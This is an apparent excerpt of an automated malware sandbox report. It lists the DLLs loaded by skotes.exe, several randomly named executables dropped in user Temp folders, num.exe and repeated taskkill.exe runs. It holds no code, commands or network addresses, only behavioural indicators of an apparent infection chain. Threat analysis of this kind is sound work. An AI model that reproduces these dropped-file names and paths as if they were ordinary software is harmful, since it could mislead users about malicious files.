Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: apphelp.dll
